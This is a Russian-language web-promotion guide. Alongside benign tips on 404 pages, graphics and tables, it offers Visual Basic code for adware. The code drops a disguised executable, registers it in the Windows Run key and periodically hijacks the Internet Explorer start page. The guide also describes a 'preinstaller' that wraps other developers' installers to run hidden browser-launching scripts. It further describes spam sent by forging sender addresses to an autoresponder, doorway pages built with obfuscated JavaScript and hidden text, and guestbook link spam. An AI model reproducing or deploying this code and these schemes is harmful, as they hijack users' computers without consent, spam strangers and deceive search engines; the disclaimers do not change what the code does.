Например, здесь добавлена строка. При переходе по ссылке открывается окно с картинкой, а в исходную страницу пишется текст «Hello». А можно вместо текста записать IFRAME (см. пример по IFRAME) и подгрузить другую web-страницу.
<html>
<head>
<title> Открыть ссылку через JAVA-скрипт </title>
</head>
<body>
<script>
function picture(unit,page) {
document.write("<font color=black>Hello</font>");
Win=open('http://topgun.rin.ru//cgi-bin/picture.pl?unit='+unit+'&page='+page,'picture','width=800,height=600;toolbar=no,status=no,menubar=no,scrollbars=yes');
}
</script>
<A HREF="javascript:void(0)" ONCLICK="picture(2056,8)"><img src='http://topgun.rin.ru/images_small/2056_7.jpg' HSPACE="4" BORDER="0"></A>
</body>
</html>
34. Удивительная технология массовой рассылки
Однажды столкнулся с просто удивительным вариантом массовой рассылки. Создали ее минимум два человека, причем из разных городов. Итак, участник №1 несколько модернизировал программу для поточной отправки писем – в качестве адреса получателя во всех письмах стоял адрес ОДНОГО ПОЧТОВОГО ЯЩИКА, владельцем которого был участник №2. В качестве обратного адреса во всех письмах ставились адреса из базы данных адресов для рассылки. Участник №2 зарегистрировал сайт на хостинге, где для почты можно настроить АВТООТВЕТЧИК. В качестве текста автоответа была размещена рекламная информация.
Что получалось? Все письма отправлялись по ОДНОМУ адресу. Автоответчик отвечал на каждое входящее письмо и отправлял ответ по РАЗНЫМ АДРЕСАМ. При этом очень трудно было уличить участников №1 и №2 в спаме. Участник №1 все отрицал – «какой же это спам, если шлю только в один адрес». Участник №2 все отрицал – «какой же это спам, если я вообще ничего никому не отправлял? А то, что я настроил автоответчик, так что в этом такого?»
Функции автоответа есть и в разных бесплатных почтовых системах, например mail.userline.ru или mail.ru И нигде нет проверки фальшивости адреса отправителя. Так-то вот.
35. Все-таки о странице 404.html
Я небольшой сторонник этого способа, т.к. он эффективен, если Вы создаете огромное количество страниц на своем хостинге и есть необходимость их часто удалять и заменять (например, это объявления). Этим приемом очень любит пользоваться бесплатный хостер www.nm.ru Вы создаете там свой сайт, прописываете его везде, рекламируете. А в один прекрасный момент ваш сайт блокируют и не отвечают на письма и вопросы, коими Вы пытаетесь прояснить ситуацию. А только на месте Ваших страничек постоянно появляется HTML страница с 404-й ошибкой (404 - документ не найден (file not found)), НО и с БАНЕРОМ!
1. Создайте чистую страницу и сохраните ее как 404.html
2. Вставьте следующий код в тэги <head></head>: <meta name="robots" content="noindex,nofollow">
Этот код говорит поисковым системам о том, что эту страницу не надо индексировать.
3. В центре страницы впишите что-то типа этого (можете составить свой текст):
"Мы изменили структуру сайта, и теперь запрашиваемый вами документ, скорее всего, переименован. Пожалуйста посетите нашу основную страницу (ссылка).
Сохраните страницу.
4. Создайте текстовый файл htaccess.txt и впишите в него следующее: ErrorDocument 404 / 404.html
Сохраните файл.
5. Загрузите оба созданных файла на сервер в корневую директорию сайта.
Теперь, если файл на вашем сервере по каким-либо причинам не обнаружен, вместо отвратительной страницы 404 посетитель попадет на указанную Вами страницу.
36. Оптимизируем графику
Есть прием, способный значительно уменьшить время загрузки сайта. Можно оптимизировать графику без ущерба для ее качества. Одна из функций Adobe Photoshop позволяет сократить количество цветов в графическом файле, что существенно снижает его объем, причем измененный файл визуально ничем не отличается от исходного. Если у Вас нет этой программы, то можно облегчить "вес" графики интерактивно, используя встроенный графический редактор на http://www.gifworks.com/. На открывшейся странице Вы увидите панель инструментов. Процесс редуцирования цветов предполагает две возможности, как непосредственно на имеющемся изображении на Вашем сайте (с этим у меня ничего не получилось), так и загрузку файла с Вашего компьютера. О втором варианте мы и поговорим. Загрузите нужный файл, затем используйте опции "optimize"- "reduce colors" (нажмите несколько раз). В новом окне увидите то, что получилось: несколько картинок. Если характеристики полученных изображений Вас не устраивают, продолжайте дальше, до желаемого эффекта. Для этого кликните по ссылке, которая располагается ниже всех Ваших картинок. Сохраните облегченный рисунок на жестком диске своего компьютера, используя правую кнопку мыши.
(с) by http://reklama.rin.ru
37. Делите таблицы на несколько таблиц
Таблицы - это блоки информации, которые являются частью формата Вашей веб-страницы. Как правило, веб-страница - это одна большая таблица. Можно создать стартовую таблицу, которая загрузится очень быстро, так что посетитель может ее просматривать, в то время как все остальное постепенно появляется на экране его браузера. Сделайте небольшую таблицу в один - два параграфа (можно включить и Ваш баннер, который должен располагаться сверху), а все остальное поместите во вторую таблицу ниже. Браузер будет отображать верхнюю таблицу немного раньше остальной части страницы. Таким образом, Вы сможете выиграть время: посетитель не нервничает перед пустым экраном, а уже занят делом. Этот прием особенно эффективен, когда на странице большой объем текста. Интересный, на мой взгляд, пример такой загрузки на http://www.cyberwavemedia.com/roll/ .
Другим превосходным маневром может стать создание отдельной таблицы для заголовка и размещение ее, по возможности, выше всех таблиц.
Если такое размещение таблицы с заголовком по каким-либо причинам невозможно, некоторые советуют включить в этот заголовок релевантные ключевые фразы для улучшения позиций сайта в поисковых системах.
(с) by http://reklama.rin.ru
38. Указывайте размеры графических файлов
Убедитесь, что в описание каждого графического файла включены ширина и высота изображения и что они точны. Это относится к любой графике, даже размером в один пиксель. Почему это так важно? Этот "секрет" очень прост. Если высота и ширина рисунка не определены, то компьютер будет мучительно "соображать", как же вписать изображение в страницу, придерживать произвольное место для графического файла до тех пор, пока в браузере не загрузится вся страница, а после этого вынужден будет изменить эту страницу, чтобы приспособить ее к фактическому размеру Вашего рисунка.
(с) by http://reklama.rin.ru
39. Хорошо ли выглядит наш сайт
Совершенно бесплатные услуги http://www.anybrowser. com могут много поведать Вам о Вашем сайте за считанные минуты.
HTML-валидатор выдает все, кроме рекомендаций! Он рассмотрит и прокомментирует HTML - код Вашего сайта, а в конце укажет построчно все ошибки.
Link Check укажет все неработающие ссылки.
Screen Size Test рассмотрит сайт в экране с другим разрешением.
SiteViewer покажет Ваш сайт таким, каким его могут увидеть посетители, использующие другие браузеры.
На сайте http://www.netmechanic.com
представлены аналогичные услуги. Здесь Вы сможете отследить даже реальное время загрузки Вашего сайта.
(с) by http://reklama.rin.ru
Предупреждение! Автор приводит следующую информацию ТОЛЬКО В ОЗНАКОМИТЕЛЬНЫХ ЦЕЛЯХ. Запрещается использовать приведенную здесь информацию для причинения вреда. Нарушая данное условие, Вы полностью принимаете последствия ваших действий на Себя!
Обзор приемов раскрутки web-сайтов. Редакция-IV Документ содержит описания различных приемов и реставрированные листинги программ, используемых для увеличения посещаемости web-сайтов и могущих представлять интерес для web-дизайнеров, администраторов web-сайтов, web-каталогов и поисковых систем.
ADVERT WARE
Advert Ware – Adware
Adware - это вид интернет маркетинга, заключающийся во встраивании баннеров в freeware и shareware программы. При этом ПО распространяется, как правило, бесплатно, а автор ПО получает деньги от рекламодателей. Пользователь просматривает рекламу за право использовать программу.
Это определение только частичное – Вы можете предложить иными способами пользователю посмотреть банеры или посетить web-сайты. Достаточно только предупредить пользователя ПО предварительно о факте такой «оплаты» используемой им программы.
Использование adware для «раскрутки» своих web- ресурсов крайне эффективно, однако есть несколько тонкостей. Первое – очень неопределенна граница чувствительности пользователя таких программ. Т.е. сколько посещений безропотно вытерпит пользователь программного продукта. Второе – доступны программы, всячески нейтрализующие функции Adware. Такие программы производятся давно и в основном распространяются за деньги. Кроме того, есть данные о том, что некоторые антивирусы опознают программы с встроенными adware-функциями как вирусы или трояны, что может быть в некоторых случаях нарушением Ваших прав.
Если Ваша программа интересна, может использоваться часто, то следует так построить модуль adware, чтобы пользователь не каждый день смотрел Ваши банеры или посещал Ваш web-сайт. Кроме того, можно написать модуль таким образом, что будет проверяться наличие Internet-соединения и если оно активно, то web-сайт будет загружаться в встроенный web-броузер, размером, например, 1 pixel.
Отдельно можно поставить замечательный вариант. Когда ваша программа использует данные из файлов. Например, Вы написали программу для изучения иностранных слов, приложили файл с 200-300 словами. Дополнительные слова можно так же использовать бесплатно, но они Вами расположены на специальных страницах своего сайта, откуда их и будет получать программа. Т.к. изучение иностранных языков популярно (и популярность растет), а количество бесплатных программ мало, то это хорошая ниша.
Далее будут включены полные листинги программ на языке Visual Basic.
Использовать приведенные ниже листинги можно разным способом. Для того, чтобы ограничить возможность недобросовестного их использования (для показа рекламы без ограничений и т.д.) здесь приведены простые, но очень эффективные рекомендации.
1. Обязательно сделайте сохраненную копию реестра Windows. Для этого нажмите кнопку Start (Пуск). Затем «Run». Запустите приложение regedit – редактор реестра Windows
2. Зайдите в пункт меню «File» и выберите подпункт «Export». Задайте имя файла и сохраните копию данных реестра. Сохраняйте копию в отдельном файле после инсталляций. Заведите небольшой текстовый файл, где кратко описывайте, какая копия реестра сохранена после каких действий.
3. В реестре программы могут прописываться в раздел автозагрузки, поэтому возвратив сохраненную копию реестра (через подпункт меню «Import»), вы сможете отключить описанные ниже программы. Сохраните так же и файлы win.ini и system.ini
Страшно не знание.
Страшно незнание.
1. Стартовая страница web-броузера – на Ваш сайт (Листинги программ на Visual Basic 6.0).
Установка стартовой страницы web-броузера выполняется с использованием функций, работающих с реестром Windows. В качестве средства может быть использован скрипт или программа, например, на Visual Basic.
Предыстория.
Однажды я встретил web-сайтик, на котором было выложено некоторое количество привлекательного софта. Причем ассортимент был очень хорош – и MP3 плееры и DVD-проигрыватели, и почтовые программы и т.д., причем свежих версий и без ограничений. Скачал несколько нужных вещей. Попробовал инсталлировать. Все до одной программы под разными предлогами отказались устанавливаться – то ошибки, то голая форма на экране и никаких надписей, то просто ничего. Ну нет, так нет. Наплевал и забыл. Но обратил внимание, что когда утром приходя на работу включал компьютер и лез в Интернет, то чуть ли не через раз в качестве стартовой страницы в IExplorer-е что-то уже стояло и успевало загрузиться. Посмотрел дистрибутивы и заметил, что все они содержали некую добавку одинаковой длины и с одинаковым названием файла. Поискал на диске и нашел ее же на диске C:/ только уже этот файл (все коды абсолютно совпадали) был EXE. Полез в реестр Windows и нашел там ссылку из автозагрузки. Т.е. получалось, что при старте Windows эта программка запускалась и иногда прописывала в реестре-же Windows адрес стартовой страницы для Микрософт Эксплорера. Т.е. если комп не перезагружать, то ничего досаждать не должно. Почистил реестр утилитой Систем Механика и все прошло. Но технология меня заинтересовала. Ее можно использовать для Adware. Только настоятельно рекомендую ограничить использование такой технологии и обязательно предупреждать пользователей о ее использовании в своих программах. Обязательно ограничивайте количество срабатываний таких функций. Меня начало раздражать уже третье-четвертое посещение web-страницы.
Этот тип программного обеспечения имеет колоссальную эффективность. Даже при скачивании 10 экземпляров программы в день, в месяц это даст примерно 300 уникальных IP, которые будут «посещать» прописанный web-сайт так часто, как это будет угодно программисту.
Ниже приведен листинг программы, позволяющий выполнять следующие действия:
- создавать на диске в текущем каталоге BAT файл setup.bat, в который пишутся команды копирования модуля demo.ttl на диск C:\ , переименования demo.ttl в demo.exe
- запускать BAT файл для исполнения
- создавать в реестре Windows XP в разделе автозагрузки программ запись Demo REG_SZ C:\demo.exe (см. скриншот)
Private Sub Form_Activate()
AutoSet ‘Сделать запись в реестре Windows XP (см. далее)
'-----------------------------
Создать BAT-файл для копирования и переименования загружаемого модуля
indx = 1
Str1(0) = "copy demo.ttl c:\demo.ttl" 'Скопировать модуль на диск C:\
Str1(1) = "c:"
Str1(2) = "cd c:\"
Str1(3) = "ren demo.ttl demo.exe" 'Переименовать модуль в EXE
For i = 0 To 3
Str1(i) = Str1(i) + Chr$(13) + Chr$(10)
Open "setup.bat" For Binary As #1 Len = Len(Str1(i))
Put #1, indx, Str1(i) 'Записать BAT-файл на диск
indx = indx + Len(Str1(i)) 'Номер следующей записи
Close #1
Next i
Shell ("setup.bat") 'Запустить BAT-файл на исполнение
End Sub
Private Sub AutoSet()
'Создать запись в реестре Windows XP для запуска модуля при старте Windows
LSkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" ' АВТОЗАГРУЗКА
secattr.nLength = Len(secattr) ' size of the structure
secattr.lpSecurityDescriptor = 0 ' default security level
secattr.bInheritHandle = True ' the default value for this setting
'--------------------------------------------------------
retval = RegCreateKeyEx(HKEY_LOCAL_MACHINE, LSkey, 0, "", 0, KEY_WRITE, secattr, hregkey, neworused)
If retval <> 0 Then ' error during open
Debug.Print "Error opening or creating registry key -- aborting."
End ' terminate the program
End If
stringbuffer = "C:\demo.exe" & vbNullChar ' Путь, где располагается модуль (после исполнения BAT-файла)
retval = RegSetValueEx(hregkey, "Demo", 0, REG_SZ, ByVal stringbuffer, Len(stringbuffer)) ' write the string
' Close the registry key
retval = RegCloseKey(hregkey)
'-----------------------------
End Sub
** Программа может правильно работать только в откомпилированном варианте.
Полный листинг программы прилагается к руководству – файл IE-Start-Page.zip
Предупреждение! Автор приводит следующую информацию ТОЛЬКО В ОЗНАКОМИТЕЛЬНЫХ ЦЕЛЯХ. Запрещается использовать приведенную здесь информацию для причинения вреда. Нарушая данное условие, Вы полностью принимаете последствия ваших действий на Себя!
Листинг загружаемого модуля Demo.exe. Загружаемый модуль не представляет собой ничего особенного – просто небольшая программа, в данном случае, проверяющая дату и устанавливающая стартовую страницу Internet Explorer , например, на сайт с развлечениями.
Private Sub Form_Load()
rundate = Date 'Получить ДАТУ на компьютере
Form1.Caption = Mid(rundate, 1, 2) 'Выделить из даты ЧИСЛО месяца и написать его в заголовок для отладки
ls = "Software\Microsoft\Internet Explorer\Main"
adress = "http://www.privet.com" 'Адрес стартовой страницы, к примеру
''
''
If Mid(rundate, 1, 2) = "30" Then 'Т.е. записывать стартовую страницу IE каждое 30-е число каждого месяца
' Записать в реестрWindows XP
LSkey = "Software\Microsoft\Internet Explorer\Main"
'Стартовая страница для IE
retval = RegCreateKeyEx(HKEY_CURRENT_USER, LSkey, 0, "", 0, KEY_WRITE, secattr, hregkey, neworused)
If retval <> 0 Then ' error during open
Debug.Print "Error opening or creating registry key -- aborting."
End ' terminate the program
End If
stringbuffer = adress
& vbNullChar ' note how a null character must be appended to the string
retval = RegSetValueEx(hregkey, "Start Page", 0, REG_SZ, ByVal stringbuffer, Len(stringbuffer)) ' write the string
' Close the registry key
retval = RegCloseKey(hregkey)
End If
End 'Выйти из программы
End Sub
Этот модуль после компиляции достаточно переименовать в demo.ttl и можно тренироваться.
Полный листинг программы прилагается к данному документу – файл IE-Demo.zip
Предупреждение! Автор приводит следующую информацию ТОЛЬКО В ОЗНАКОМИТЕЛЬНЫХ ЦЕЛЯХ. Запрещается использовать приведенную здесь информацию для причинения вреда. Нарушая данное условие, Вы полностью принимаете последствия ваших действий на Себя!
- Часть 3 -
Курочка по зернышку клюет, а сыта бывает!
Любая посещаемость начинается с единицы.
40. Как создать несколько клонов одной web-страницы
Для раскрутки Вашего сайта может потребоваться создать очень много сайтов и страниц с одинаковым (для посетителя) содержимым, но при этом поисковики должны воспринимать их как разные страницы. Можно, конечно создавать вручную большое количество страниц с разным дизайном и наполнением. А можно поступить по-другому. Сделайте одну web-страницу и много-много ее «клонов». Покажем на примере:
Создадим простейшую HTML-страницу
<html><head><title>Игра на листочке бумаги</title>
</head>
<body bgcolor=red text=000000 link=red vlink=red leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>
Здесь пишете текстовое содержимое страницы, размещаете таблицы, картинки, линки и т.д.
</body></html>
У Вас есть теперь одна копия страницы и ее можно разместить на хостинге и создавать ее «клон».
<html><head><title>Игра на листочке бумаги</title>
</head>
<body bgcolor=red text=000000 link=red vlink=red leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>
<SCRIPT LANGUAGE="JAVASCRIPT">
// <!--
document.write("Здесь пишете текстовое содержимое страницы, размещаете таблицы, картинки, линки и т.д.");
// -->
</SCRIPT>
</body></html>
Тот же текст теперь записан уже через JAVA Script. Но еще не все. Во-первых, строка
document.write("……..");
должна быть записана без переносов. Во-вторых строку нужно модернизировать, видоизменив текст
document.write("Зд”+”есь пи”+”ше”+”те тек”+”сто”+”вое сод”+”ерж”+”имое стра”+”ницы, раз”+”мещаете таб”+”лицы, карт”+”инки, лин”+”ки и т.д.");
Вот у Вас уже две страницы. Создадим третью версию страницы. Для этого используем программку из прилагаемого архива antispam.zip (программа была скачана с постороннего сайта и распространялась бесплатно).
В поле |Source| введем текст
Здесь пишете текстовое содержимое страницы, размещаете таблицы, картинки, линки и т.д.
Нажмем кнопку |Crypt| и в поле |Crypt| скопируем следующий текст
Çäåñü ïèøåòå òåêñòîâîå ñîäåðæèìîå ñòðàíèöû, ðàçìåùàåòå òàáëèöû, êàðòèíêè, ëèíêè è ò.ä.
Текста стало намного больше и он совсем не похож на исходный.
Полный HTML код страницы
<html><head><title>Игра на листочке бумаги</title>
</head>
<body bgcolor=red text=000000 link=red vlink=red leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>
<SCRIPT LANGUAGE="JAVASCRIPT">
// <!--
document.write("Çäåñü ïèøåò");
document.write("å òåêñòîâîå");
document.write(" ñîäåðæèìîå");
document.write(" ñòðàíèöû, ");
document.write("ðàçìåùàåòå ");
document.write("òàáëèöû, êà");
document.write("ðòèíêè, ëèí");
document.write("êè è ò.ä.");
// -->
</SCRIPT>
</body></html>
Но это еще не все. В таком виде страница не будет отображаться правильно, т.к. в строках JAVA Script слишком много «лишних» точек с запятой. Добавим символов, маскирующих лишние точки с запятыми.
Делайте по следующему образцу
document.write("Çäåñü ïèøåò");
будет выглядеть так
document.write("Ç\;ä\;å\;ñ\;ü\; \;ï\;è\;ø\;å\;ò\;");
Т.е. «незамаскированная точка с запятой должна быть только в конце строки!
<html><head><title>Игра на листочке бумаги</title>
</head>
<body bgcolor=red text=000000 link=red vlink=red leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>
<SCRIPT LANGUAGE="JAVASCRIPT">
// <!--
document.write("Ç\;ä\;å\;ñ\;ü\; \;ï\;è\;ø\;å\;ò\;");
document.write("å\; \;ò\;å\;ê\;ñ\;ò\;î\;â\;î\;å\;");
document.write(" \;ñ\;î\;ä\;å\;ð\;æ\;è\;ì\;î\;å\;");
document.write(" \;ñ\;ò\;ð\;à\;í\;è\;ö\;û\;,\; \;");
document.write("ð\;à\;ç\;ì\;å\;ù\;à\;å\;ò\;å\; \;");
document.write("ò\;à\;á\;ë\;è\;ö\;û\;,\; \;ê\;à\;");
document.write("ð\;ò\;è\;í\;ê\;è\;,\; \;ë\;è\;í\;");
document.write("ê\;è\; \;è\; \;ò\;.\;ä\;.\;");
// -->
</SCRIPT>
</body></html>
Вот у Вас уже есть третий вариант страницы. Чтобы сделать последующие варианты, сочетайте Crypt-ованный и обычный текст в операторах document.write("……..");
Еще вариант. Создадим переменную JAVA Script.
<html><head><title>Игра на листочке бумаги</title>
<meta http-equiv=Content-Type content="text/html; charset=windows-1251">
<script language="JavaScript">
<!--
var textum=" Здесь пишете текстовое содержимое страницы, размещаете таблицы…"
//-->
</script>
</head>
<body bgcolor=red text=000000 link=red vlink=red leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>
<span id="liveclock"></span>
<SCRIPT LANGUAGE="JAVASCRIPT">
// <!--
liveclock.innerHTML=textum
// -->
</SCRIPT>
</body></html>
Здесь объявляется переменная var textum, а затем она отображается на экран liveclock.innerHTML=textum
Опять же переменную textum можно переписать не буквами, а кодами букв, используя программку Antispam.exe
Теперь рассмотрим еще вариант. Вариант, когда JAVA Script записан в отдельном файле.
Нужно создать два файла – HTML страницу (например demo.htm) и JAVA Script файл (demo.js)
<html><head><title>Игра на листочке бумаги</title>
<meta http-equiv=Content-Type content="text/html; charset=windows-1251">
</head>
<body bgcolor=red text=000000 link=red vlink=red leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>
<script language=javascript src=demo.js></script>
</body></html>
Файл с скриптом demo.js
// <!--
d=document;
d.write("Hello!<br>");
d.write("The HTML and JAVA Script Example");
// -->
Из уже написанных вариантов можно создать огромное количество сочетаний содержимого HTML-страницы.
И не забывайте от «клона» к «клону» менять список ключевых слов, заголовки TITLE, тэги <meta> и названия включенных в HTML страницу графических файлов.
И вот здесь есть один важный момент – если Вы закодируете весь текст страницы, то где поисковые машинки найдут текст для индексирования? Поэтому либо оставляйте часть текста некодированным, либо используйте методику пункта 42.
Не забывайте переименовывать графические файлы, которые будут одинаковыми на клонированных страницах.
Можно использовать готовые бесплатные шаблоны, которые легко найти и скачать. Наберите в Yandex.ru строку для поиска «шаблоны веб сайтов» и посмотрите предложенные образцы. Есть совершенно достойные варианты. Только не забудьте убрать из шаблонов посторонние счетчики (которые там могут быть) или сомнительные скрипты.
41. Как анонсировать «клонированные» web-страницы в searchengines
Если вносить «клонированные» страницы в каталоги, то их анонсирование займет много времени. Если страницы с одинаковым содержанием будут встречаться часто, администраторы могут обратить внимание и заблокировать или не внести страницы и сайты в каталоги.
Поэтому анонсировать «клонированные» web- страницы нужно следующим образом. Зайдите на популярный поисковик (Yandex.ru , Google.com.ru или какой-либо иной) и задайте в поиск ключевые слова, например:
Guestbook dvd
И нажмите кнопку |Искать|
Вам будет представлено много ссылок на гостевые книги, которые посещают поисковые машинки (searchengines) и чье содержимое они индексируют! И большая часть этих гостевых книг будет тематической ( в данном примере – dvd). Впишите в эти гостевые книги текст, соответствующий содержимому основного сайта владельца книги (будьте внимательны и корректны) и в качестве последнего предложения в тексте анонсируйте свой линк. Причем, если гостевая книга не подразумевает размещение линка, укажите его просто в тексте записи. Такие поисковики, как Google проидексируют и в этом случае.
В течение месяца ваша страница станет доступна при поиске.
42. Как создать «неклонированные» страницы с одинаковым содержанием
Не всегда указанный выше способ «клонирования» страниц может быть приемлем. Например, у Вас есть страницы с большим количество текста и Вам сложно их перекодировать. Очень успешно можно использовать следующий прием – добавление на страницы специального содержимого и тэгов для изменения акцентов индексирования.
Частично этот метод уже рассматривался в главе «Как на странице разместить много текста для индексирования не испортив дизайна» и в главе «Как использовать список ключевых слов, не совпадающий с тематикой HTML-страницы». Здесь будут приведены примеры, иллюстрирующие дополнительные возможности. Используем предыдущий вариант HTML страницы.
<html><head><title>Игра на листочке бумаги</title>
</head>
<body bgcolor=red text=000000 link=red vlink=red leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>
Здесь пишете текстовое содержимое страницы, размещаете таблицы, картинки, линки и т.д.
</body></html>
Дополним его стилями. Используем 2 фонта:
<html><head><title>Игра на листочке бумаги</title>
<style type="text/css">
font.oflameron { font-family: Arial, Tahoma, Helvetica; font-size: 2pt; color: red;}
font.game { font-family: Arial, Tahoma, Helvetica; font-size: 12pt; color: black;}
</style>
</head>
<body bgcolor=red text=000000 link=red vlink=red leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>
<font class=game> Здесь пишете текстовое содержимое страницы, размещаете таблицы, картинки, линки и т.д.</font>
</body></html>
Если посмотреть код, можно увидеть, что текст будет черного цвета (font.game) на красном фоне web-страницы (body bgcolor=red).
Добавим на страницу некоторое количество текста, в основном ключевых слов, по теме DVD.
<html><head><title>Игра на листочке бумаги</title>
<style type="text/css">
font.oflameron { font-family: Arial, Tahoma, Helvetica; font-size: 2pt; color: red;}
font.game { font-family: Arial, Tahoma, Helvetica; font-size: 12pt; color: black;}
</style>
</head>
<body bgcolor=red text=000000 link=red vlink=red leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>
DVD, Mpeg 2, Digital Video, Player, Movies, Films, dvd player.
<font class=game>Здесь пишете текстовое содержимое страницы, размещаете таблицы, картинки, линки и т.д.</font>
</body></html>
Если посмотреть, что получится, то Вы увидите, что добавленный текст хорошо заметен на странице. Доработаем текст следующим образом:
<html><head><title>Игра на листочке бумаги</title>
<style type="text/css">
font.oflameron { font-family: Arial, Tahoma, Helvetica; font-size: 2pt; color: red;}
font.game { font-family: Arial, Tahoma, Helvetica; font-size: 12pt; color: black;}
</style>
</head>
<body bgcolor=red text=000000 link=red vlink=red leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>
<font>
<SCRIPT LANGUAGE="JAVASCRIPT">
// <!--
document.write("<font class=oflameron>");
// -->
</SCRIPT>
DVD, Mpeg 2, Digital Video, Player, Movies, Films, dvd player.
</font>
<font class=game>Здесь пишете текстовое содержимое страницы, размещаете таблицы, картинки, линки и т.д.</font>
</body></html>
Обратите внимание, что текст «DVD, Mpeg 2, Digital Video, Player, Movies, Films, dvd player» выделен тэгами <font> и </font>. Однако JAVA Script меняет тип фонта на <font class=oflameron>.
А размер этого фонта всего 2 pixel и цвет red, т.е. цвет фона страницы. Если таким образом добавить на тсраницу не текст, а линки на другие ресурсы, то получится весьма интересный DoorWay.
Теперь далее. Замаскируем JAVA Script.
<SCRIPT LANGUAGE="JAVASCRIPT">
// <!--
document.write("<f”+”o”+”nt c”+”la”+”ss”+”=ofl”+”am”+”er”+”on>");
// -->
</SCRIPT>
А теперь изящное дополнение. Используем на странице не 2 фонта, а один!
<html><head><title>Игра на листочке бумаги</title>
<style type="text/css">
font.game { font-family: Arial, Tahoma, Helvetica; font-size: 12pt; color: black;}
</style>
<SCRIPT LANGUAGE="JAVASCRIPT">
// <!--
document.write("<st"+"yle type=\"text/c"+"ss\">");
document.write("font.game { font-family: Arial, Tahoma, Helvetica\; font-size: 2pt\; color: red;}");
document.write("</st"+"yle>");
// -->
</SCRIPT>
</head>
<body bgcolor=red text=000000 link=red vlink=red leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>
<font>
<SCRIPT LANGUAGE="JAVASCRIPT">
// <!--
document.write("<font class=oflameron>");
// -->
</SCRIPT>
DVD, Mpeg 2, Digital Video, Player, Movies, Films, dvd player.
</font>
<font class=game> Здесь пишете текстовое содержимое страницы, размещаете таблицы, картинки, линки и т.д.</font>
</body></html>
Т.е. здесь производится подмена фонта через стили.
Соответственно, исходя из вышесказанного строку надо записать вот так (в одну строчку).
document.write("fo”+”nt.ga”+”me { fo”+”nt-fa”+”mi”+”ly: Ar”+”ial, Ta”+”ho”+”ma, Helve”+”tica\; fo”+”nt-size: 2”+”pt\; co”+”lor: r”+”ed;}");
И такого текста для индексирования в web-страницы можно добавлять очень много и до основного текста. Т.е. он будет учитываться при индексировании. Не забывайте соответственно корректировать ключевые слова в заголовке HTML-файла.
43. Где взять реальные ключевые слова
Реальные ключевые слова, это не те слова, которые часто встречаются на Вашей web-странице, а те слова, которые пользователи чаще всего задают в поиск на searchengines. Где взять? Простой вопрос – составить самому. Так рекомендуется в каждом руководстве по продвижению web-ресурса. Однако, можно не делать как все. Можно найти списки ключевых слов, выложенные на сайтах. Можно зайти в рейтинг web-сайтов и посмотреть списки ключевых слов web-страниц, расположенных первыми. Здесь опишем еще один способ. Примерно одинаково для русскоязычных и для англоязычных сайтов.
Зайдите на www.google.com и задайте в поиск следующий текст:
extreme-dm dvd
здесь extreme-dm
ключевое слово, которое нужно обязательно, т.к. это часть названия специального счетчика. А DVD – слово, определяющее тематику (в данном случае DVD).
Найдется много Линков, среди которых можно найти линки такого вида (примерно):
http://extremetracking.com/open;ref2?tag=awarec
на этой странице приведена статистическая информация, в т.ч. и таблица со списком ключевых слов, по которым сайт (на котором установлен счетчик) был найден в поисковиках. Вот эти слова и используйте на своих страницах, чем чаще, тем лучше. Это те слова, по которым посетители ищут информацию и находят сайты, а не те, которые чаще встречаются.
Точно так же используйте счетчики системы http://lstat.susanin.com/ для поиска ключевых слов для русскоязычного контента.
44. Что такое ПРЕДИНСТАЛЛЯТОР
Вы не знаете, что такое прединсталлятор? Вот и хорошо. Значит и многие другие тоже не знают.
Прединсталлятор – программа, запускающаяся до инсталляции основной программы.
Зайдите на сайты с архивами бесплатных программ. Обратите внимание, что очень много популярных программ (реально пользующихся спросом) распространяются в виде самораспаковывающихся архивов (.EXE) и как правило, почти всегда имя архива не совпадает со словами INSTALL или SETUP.
Напишите разработчикам популярного программного обеспечения письмо с просьбой дать разрешение распространять их программы со своих сайтов. Чаще всего вам не только разрешат, но и будут рады. Теперь нужно создать программу, выполняющую следующие действия – запуск .BAT файла (например config.bat Этот файл напишите Вы) и запуск основного самораспаковывающегося архива. В config.bat вы можете поместить любые команды для раскрутки собственных web-ресурсов. Например, можно поместить скрипт, прописывающий адрес Вашего сайта в качестве стартовой страницы Internet Explorer (вы должны в произвольной форме предупредить пользователя о размещении рекламной информации. Например, записать ее в файл readme.txt).
Примеры:
Файл config.bat (например, запускаемая программа – thebat700.exe)
echo off
data.vbs
thebat700.exe
Файл data.vbs может быть примерно таким (файл прилагается к документу):
Option Explicit
Dim MyAppl
set MyAppl = CreateObject("Word.Application")
MyAppl.Documents.Add
MyAppl.ActiveDocument.FollowHyperlink("http://corel-images.narod.ru")
MyAppl.ActiveDocument.SaveAs "index.htm"
MyAppl.Quit
set MyAppl = Nothing
Этот файл демонстрирует загрузку web-страницы.
И собственно листинг прединсталлятора на Visual Basic 6.0
Dim indx
Dim Str1(4) As String
Private Sub Form_Load()
Shell ("config.bat") 'Запуск BAT файла на исполнение
End Sub
Это самый простейший листинг прединсталлятора. Можно сделать несколько солиднее – формировать запускаемый BAT файл непосредственно из прединсталлятора.
Dim indx
Dim Str1(4) As String
Private Sub Form_Load()
indx = 1
Str1(0) = "echo off " ‘Команда BAT файла
Str1(1) = "data.vbs " ‘Команда BAT файла
Str1(2) = "thebat700.exe " ‘Команда BAT файла
Str1(3) = "echo on" ‘Команда BAT файла
For i = 0 To 3
Str1(i) = Str1(i) + Chr$(13) + Chr$(10)
Open "config.bat" For Binary As #1 Len = Len(Str1(i))
Put #1, indx, Str1(i)
indx = indx + Len(Str1(i))
Close #1
Next i
Shell ("config.bat") 'Запустить BAT файл
End Sub
Зачем нужен прединсталлятор? Каждая сфера деятельности или развлечений имеет свой «круг» программ. Используя прединсталлятор, можно вести рекламные кампании в конкретном сегменте потенциальных потребителей. Иногда это может быть единственным способом довести информацию до пользователя. Следует отметить, что этот метод распространения информации существенно уступает по объемам охвата спаму, но является исключительно точным! Можно продвинуть почтовую программу с оранжевым фоном и перламутровыми кнопками почти исключительно только любителям почтовых программ с оранжевым фоном и перламутровыми кнопками.
